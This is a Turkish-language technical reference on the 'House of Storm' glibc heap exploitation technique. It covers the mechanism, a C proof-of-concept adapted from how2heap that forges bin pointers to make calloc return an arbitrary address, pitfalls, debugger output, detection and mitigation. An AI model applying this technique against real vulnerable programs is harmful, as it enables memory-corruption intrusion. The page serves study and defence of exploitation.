House of Storm¶
Bir unsorted-bin attack ile bir large-bin attack'i birleştir; böylece allocator kontrol edilen bir adreste sahte bir chunk size forge eder ve sonra o keyfi adresi
malloc/calloc'tan geri verir.
Mechanism¶
Invariant: unsorted-bin unlink bk'ya güvenir, large-bin insert bk_nextsize üzerinden yazar
House of Storm, tek bir free edilmiş chunk'ın bir _int_malloc taraması
boyunca hem unsorted bin hem de large bin code path'lerinde yaşadığında
pre-2.29 glibc'nin açtığı iki write primitive'i zincirler:
-
Unsorted-bin attack (bir chunk'ın nereye döndürüleceğini kontrol eder).
_int_mallocunsorted bin'i gezerkenvictim'ibck = victim->bk; unsorted_chunks->bk = bck; bck->fd = unsorted_chunksyazarak unlink eder.unsorted_bin->bk'yıfake_chunk = target - 0x10ile overwrite ederek attackertarget'ı çekilecek bir sonraki chunk olacak şekilde hazırlar — ama yalnızcasizefield'ı isteğe eşleşirse. Tek başına bu, libc pointer'ın klasik unsorted-bin write'ıdır; burada bir "bu adresi döndür" primitive'i olarak yeniden amaçlanmıştır. -
Large-bin attack (
target'taki size'ı forge eder). Aynı taramada daha büyük chunk bir large bin'e eklenir. Insertion kodufwd->bk_nextsize->fd_nextsize = victim(ve benzeri) yapar; bu da bir heap pointer'ın seçilen bir adrese attacker-kontrollü write'ıdır.large_bin->bk_nextsize'ıfake_chunk - 0x18 - shift'e işaret ettirerek yazılan heap pointer misaligned iner; böylece yüksek byte'larıtarget'ın size offset'inde belirir ve geçerli birsizesentezler (ör.0x000056...makul bir chunk size olarak okunur). -
Yakınsama (convergence). Large-bin write
target'a aklı başında bir size yerleştirdiğinde, unsorted-bin taraması bozulmuşbküzerinden erişilebilen chunk'ı yeniden inceler, eşleşen bir size görür vetarget'ı caller'a döndürür. Sonuç, bilinen writable bir adreste arbitrary chunk allocation'dır.
Attack, target size için tcache'in dolu olmasını gerektirir (böylece
tcache stashing'i unsorted/large-bin mantığını kısa devre yaptırmaz),
target size IS_MMAPPED/NON_MAIN_ARENA bitlerini set etmekten kaçınmalı
ve glibc 2.23–2.28'de çalışır: unsorted-bin unlink'in 2.29 hardening'i
(bck->fd != victim reciprocal kontrolü) onu öldürür.
Walkthrough¶
Maxwell "Strikeout" Dulin'in shellphish/how2heap house_of_storm.c'sinden
uyarlandı. Unsorted-bin chunk'ı large-bin chunk'ından daha büyük olmalı ve
allocation size heap base'inden türetilir, böylece misaligned write geçerli bir
size üretir.
char target[0x60]; // the address we want malloc to return
char *unsorted_bin, *large_bin, *ptr;
// 1) An unsorted-bin chunk (bigger) and a large-bin chunk (smaller).
unsorted_bin = malloc(0x4e8); malloc(0x18); // guard against top consolidation
// ... compute alloc_size from (unsorted_bin >> shift) so the forged size matches
large_bin = malloc(0x4d8); malloc(0x18);
// 2) Sort them into their bins.
free(large_bin); free(unsorted_bin);
unsorted_bin = malloc(0x4e8); // pushes large_bin into large bin
free(unsorted_bin); // unsorted_bin back to unsorted bin
char *fake_chunk = target - 0x10;
// 3) Unsorted-bin attack: bk -> target's fake chunk header.
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted->bk
// 4) Large-bin attack: fd and bk_nextsize craft the size write.
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large->bk
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // bk_nextsize
// 5) Trigger. calloc bypasses tcache; the scan writes the size, then returns target.
ptr = calloc(alloc_size, 1);
strncpy(ptr, "ABCDEFG", 0x58 - 1); // ptr aliases target[]
// printf("%s\n", target) now shows "ABCDEFG" -> arbitrary chunk obtained
Footgun'lar
alloc_sizetüretmesi load-bearing'dir.target'taki forge edilmiş size, misaligned yazılan heap adresinin üst byte'larından gelir. Request size'ı o sentezlenmiş değere eşit seçmelisin, yoksa unsorted tarama chunk'ı reddeder ("malloc(): memory corruption").- PIE vs non-PIE offset.
bk_nextsizeoffset'i farklıdır (misalignment shift'inde genellikle 5'e karşı 2), çünkütarget'a inen heap-pointer genişliği değişir. - Tcache stashing. Target size bir tcache size (0x20–0x410) ise ve bin dolu değilse, glibc unsorted/small bin'den tcache'e stash eder ve yakınsama hiç gerçekleşmez — önce 7 slotun hepsini doldur.
mallocdeğilcallockullan, son allocation'da tcache fast path'ini atlamak için.
gdb view of the two corrupted bins
pwndbg> bins
unsortedbin
all: 0x...->bk = 0x601060 (&target-0x10) # unsorted-bin attack target
largebins
0x4d0: 0x... bk_nextsize -> 0x601048 # large-bin write target
calloc'tan sonra target forge edilmiş bir size tutar (ör. 0x55...) ve
döndürülen pointer target'a eşittir.
Detection¶
- Heap-dışı writable memory'ye (bss/global/stack) işaret eden bir unsorted-bin
bk'sı ya da large-binbk_nextsize/fd_nextsize'ı imzadır. - Tek bir taramada hem unsorted hem large-bin insertion ile aynı anda tutarlı
görünen bir chunk anormaldir; heap-integrity araçları (ör. glibc
tcache/malloctutarlılık abort'ları) çoğu zaman ortaya çıkan size uyuşmazlığını yakalar.
Mitigation¶
- glibc ≥ 2.29 unsorted-bin reciprocal kontrolü
bck->fd != victim'i ve large-bin insertion sanity kontrollerini (fwd->bk_nextsize->fd_nextsizeguard'ı) ekler; bunlar yakınsamayı bozar — teknik upstream'de fiilen ölüdür. - Bin pointer'lar üzerindeki attacker kontrolünü sınırlamak/doldurmak (ör. guarded metadata ile) attack'in dayandığı unlink/insert write'larını engeller.